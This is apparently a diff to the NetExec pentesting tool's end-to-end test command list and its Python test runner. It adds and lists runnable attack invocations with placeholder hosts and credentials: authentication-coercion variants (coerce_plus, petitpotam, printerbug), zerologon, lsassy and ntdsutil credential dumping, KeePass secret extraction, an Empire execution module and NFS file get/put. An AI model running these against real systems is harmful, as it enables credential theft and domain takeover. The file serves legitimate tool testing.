netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener
|
||||
@@ -81,6 +81,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M imperson
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M iis
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_elevated
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M security-questions
|
||||
# currently hanging indefinitely - TODO: look into this
|
||||
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover
|
||||
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=LOGIN_USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\LOGIN_USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml"
|
||||
@@ -98,6 +99,20 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntdsutil
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntlmv1
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M petitpotam
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pi
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=petitpotam
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=printerbug
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=shadowcoerce
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=mseven
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=dfscoerce
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o M=dfs
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o LISTENER=127.0.0.1
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=petitpotam LISTENER=127.0.0.1
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=printerbug LISTENER=127.0.0.1
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=shadowcoerce LISTENER=127.0.0.1
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=mseven LISTENER=127.0.0.1
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=dfscoerce LISTENER=127.0.0.1
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o M=dfs LISTENER=127.0.0.1
|
||||
# Will need to change the PID for your test system
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pi -o PID=100 EXEC='dir'
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M procdump
|
||||
@@ -109,7 +124,6 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M reg-quer
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M runasppl
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o SERVER=127.0.0.1 NAME=test
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o NAME=test CLEANUP=True
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadowcoerce
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky -o SERVER=127.0.0.1 NAME=test
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky -o NAME=test CLEANUP=True
|
||||
# spider_plus takes a while to run, so it is commented out during normal testing
|
||||
@@ -130,7 +144,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M winscp
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon
|
||||
# test for multiple modules at once
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M dfscoerce -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M runasppl -M shadowcoerce -M uac -M webdav -M wifi
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M runasppl -M uac -M webdav -M wifi -M coerce_plus
|
||||
##### SMB Anonymous Auth
|
||||
netexec smb TARGET_HOST -u '' -p '' -M zerologon
|
||||
netexec smb TARGET_HOST -u '' -p '' -M petitpotam
|
||||
@@ -153,6 +167,7 @@ netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections
|
||||
#netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=enable
|
||||
#netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=disable
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocker
|
||||
##### LDAP
|
||||
netexec {DNS} ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users
|
||||
@@ -245,3 +260,8 @@ netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --get test_file.txt
|
||||
netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
|
||||
netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success
|
||||
netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE
|
||||
##### NFS
|
||||
netexec nfs TARGET_HOST -u "" -p "" --shares
|
||||
netexec nfs TARGET_HOST -u "" -p "" --enum-shares
|
||||
netexec nfs TARGET_HOST -u "" -p "" --get-file /NFStest/test/test.txt ../test.txt
|
||||
netexec nfs TARGET_HOST -u "" -p "" --put-file ../test.txt /NFStest/test
|
||||
+19
-1
@@ -61,6 +61,12 @@ def get_cli_args():
|
||||
required=False,
|
||||
help="Display errors from commands",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--not-tested",
|
||||
action="store_true",
|
||||
required=False,
|
||||
help="Display commands that didn't get tested",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--poetry",
|
||||
action="store_true",
|
||||
@@ -189,6 +195,7 @@ def run_e2e_tests(args):
|
||||
tasks = generate_commands(args)
|
||||
tasks_len = len(tasks)
|
||||
failures = []
|
||||
not_tested_cmds = []
|
||||
|
||||
result = subprocess.Popen(
|
||||
f"{args.executable} --version",
|
||||
@@ -202,6 +209,7 @@ def run_e2e_tests(args):
|
||||
start_time = time()
|
||||
passed = 0
|
||||
failed = 0
|
||||
not_tested = 0
|
||||
|
||||
while tasks:
|
||||
task = str(tasks.pop(0))
|
||||
@@ -232,6 +240,11 @@ def run_e2e_tests(args):
|
||||
failures.append(task.strip())
|
||||
failed += 1
|
||||
|
||||
# Count the amount of commands that didn't get tested
|
||||
if not text:
|
||||
not_tested_cmds.append(task.strip())
|
||||
not_tested += 1
|
||||
|
||||
if args.errors:
|
||||
raw_text = text.decode("utf-8")
|
||||
# this is not a good way to detect errors, but it does catch a lot of things
|
||||
@@ -243,11 +256,16 @@ def run_e2e_tests(args):
|
||||
# this prints sorta janky, but it does its job
|
||||
console.log(f"[*] Results:\n{text.decode('utf-8')}")
|
||||
|
||||
if not_tested_cmds and args.not_tested:
|
||||
console.log("[bold yellow]Commands that didn't get tested:")
|
||||
for not_tested_cmd in not_tested_cmds:
|
||||
console.log(f"[bold yellow]{not_tested_cmd}")
|
||||
|
||||
if failures:
|
||||
console.log("[bold red]Failed Commands:")
|
||||
for failure in failures:
|
||||
console.log(f"[bold red]{failure}")
|
||||
console.log(f"Ran {tasks_len} tests in {int((time() - start_time) / 60)} mins and {int((time() - start_time) % 60)} seconds - [bold green] Passed: {passed} [bold red] Failed: {failed}")
|
||||
console.log(f"Ran {tasks_len} tests in {int((time() - start_time) / 60)} mins and {int((time() - start_time) % 60)} seconds - [bold green] Passed: {passed} [bold red] Failed: {failed} [bold yellow] Not Tested: {not_tested}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
Reference in new issue
Block a user